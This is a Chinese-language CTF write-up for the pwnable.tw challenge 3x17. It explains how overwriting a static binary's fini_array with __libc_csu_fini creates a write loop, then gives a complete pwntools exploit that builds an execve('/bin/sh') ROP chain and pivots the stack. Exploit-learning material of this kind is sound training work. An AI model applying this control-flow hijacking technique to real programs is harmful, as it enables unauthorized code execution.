本篇内容主要以pwnable.tw上的0x17为背景,这个题是64位静态链接的,因此我写的内容主要是针对64位静态链接的。

首先对于我们初学者来说一般程序的启动给我们的第一形象是从main函数开始的(其实不是),事实上main的返回地址是**__libc_start_main,而程序真正开始是从__start**开始,具体的如图

我们可以用readelf -h 程序名 来查看程序加载入口地址

➜  Desktop readelf -h 3x17          
ELF 头:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
类别: ELF64
数据: 2 补码,小端序 (little endian)
版本: 1 (current)
OS/ABI: UNIX - GNU
ABI 版本: 0
类型: EXEC (可执行文件)
系统架构: Advanced Micro Devices X86-64
版本: 0x1
入口点地址: 0x401a50
程序头起点: 64 (bytes into file)
Start of section headers: 759016 (bytes into file)
标志: 0x0
本头的大小: 64 (字节)
程序头大小: 56 (字节)
Number of program headers: 8
节头大小: 64 (字节)
节头数量: 29
字符串表索引节头: 28

入口点地址:0x401a50也就是**_start**的起始地址

而上面的汇编代码

0x401a50    xor    ebp, ebp
0x401a52 mov r9, rdx
0x401a55 pop rsi
0x401a56 mov rdx, rsp
0x401a59 and rsp, 0xfffffffffffffff0
0x401a5d push rax
0x401a5e push rsp
0x401a5f mov r8, 0x402960 #__libc_csu_fini
0x401a66 mov rcx, 0x4028d0 #__libc_csu_init
0x401a6d mov rdi, 0x401b6d #main
0x401a74 call 0x401eb0 <0x401eb0> #__libc_start_main

call 0x401eb0 <0x401eb0>就是call __libc_start_main

传给rdi寄存器的是main的函数地址

传给rcx寄存器的是**__libc_csu_init**的函数地址

传给r8寄存器的是**__libc_csu_fini**的函数地址

__libc_csu_init函数是在man函数执行前**__libc_start_main**调用的

__libc_csu_fini函数是 main 函数退出返回到**__libc_start_main,再通过__libc_start_main**调用的

我们看**__libc_csu_fini**函数的汇编

.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0 #fini_array
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996


我们看到有一个 lea rbp, off_4B40F0

这个0x4b40f0正是fini_array的起始地址

我们查看他的内部结构

.fini_array:00000000004B40F0 ; Segment permissions: Read/Write
.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; sub_402960+8↑o #fini__array[0]
.fini_array:00000000004B40F8 dq offset sub_401580 #fini_array[1]
.fini_array:00000000004B40F8 _fini_array ends
.fini_array:00000000004B40F8
.data.rel.ro:00000000004B4100 ; ===========================================================================
.data.rel.ro:00000000004B4100
.data.rel.ro:00000000004B4100 ; Segment type: Pure data
.data.rel.ro:00000000004B4100 ; Segment permissions: Read/Write
.data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64
.data.rel.ro:00000000004B4100 assume cs:_data_rel_ro
.data.rel.ro:00000000004B4100 ;org 4B4100h
.data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o
.data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ...

可以看到这个fini_array里面有两个地址:

fini_array[0]: 0x401B00

fini_array[1]: 0x401580

在**__libc_csu_fini**函数的汇编中最重要的是这三行代码

.text:0000000000402968                 lea     rbp, off_4B40F0 #fini_array

.text:0000000000402988 call qword ptr [rbp+rbx*8+0]

.text:0000000000402994 jnz short loc_402988

作用是

先call fini_array[1] 然后ret;

再call fini_array[0]。

那么整个流程就是

_start—>__libc_start_main–>__libc_csu_init–>main–>__libc_csu_fini–>call fini_array[1]–>fini_array[0]–>程序退出。

那么如果我们把 fini_array[1]的地址更换为我们指定的地址暂且叫addrA,然后再把 fini_array[0]的地址更换为__libc_csu_fini,此时的整个流程就是

_start—>libc_start_main–>libc_csu_init–>main–>__libc_csu_fini–>addrA–> __libc_csu_fini–>addrA–> __libc_csu_fini–>addrA–> libc_csu_fini–>addrA–> 。。。。。。

我们就成功劫持了执行流,并且循环修改多次,多个字节。

接着我们看3x17这道题:

首先这道题是个64位静态链接

可以有一次修改指定地址指针的功能,这时我们就可以运用上面的方法,循环修改构造rop,最后进行栈迁移。

exp:
from pwn import*
context.log_level="debug"
p=process("./3x17")
#p=remote("chall.pwnable.tw",10105)
#gdb.attach(p,"b *0x0402960")
#gdb.attach(p)
fini_array=0x4B40F0
ret=0x0000000000401016
leaveret=0x0000000000401c4b
#array[0]:0x401B00
#array[1]:0x401580
#array[1]--->array[0]
bin_sh_addr=fini_array+0x50
p.recvuntil(b"addr:")
payload=str( 0x4b40f0)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")

pop_rdx=0x0000000000446e35
libc_csu_fini=0x402960
main=0x401b6d
syscall=0x00000000004022b4
pop_rax=0x000000000041e4af
poprdi=0x401696
pop_rdx_rsi=0x000000000044a309
#payload=p64(libc_csu_fini)+p64(main)
payload=p64(libc_csu_fini)+p64(main)
#+p64(0x401C1F)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x10)# 0x4b92c8
p.send(payload)#
p.recvuntil(b"data:")
payload=p64(poprdi)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x18)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=p64(bin_sh_addr)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x20)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=p64(pop_rdx_rsi)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x28)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=p64(0)+p64(0)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x38)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=p64(pop_rax)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x40)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=p64(0x3b)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x48)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=p64(syscall)
p.send(payload)

p.recvuntil(b"addr:")
payload=str( 0x4b40f0+0x50)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
payload=b"/bin/sh"
p.send(payload)
gdb.attach(p)
p.recvuntil(b"addr:")
payload=str(fini_array)# 0x4b92c8
p.send(payload)
p.recvuntil(b"data:")
p.send(p64(leaveret))

p.interactive()

参考通过利用fini_array部署并启动ROP攻击 | TaQini-CSDN博客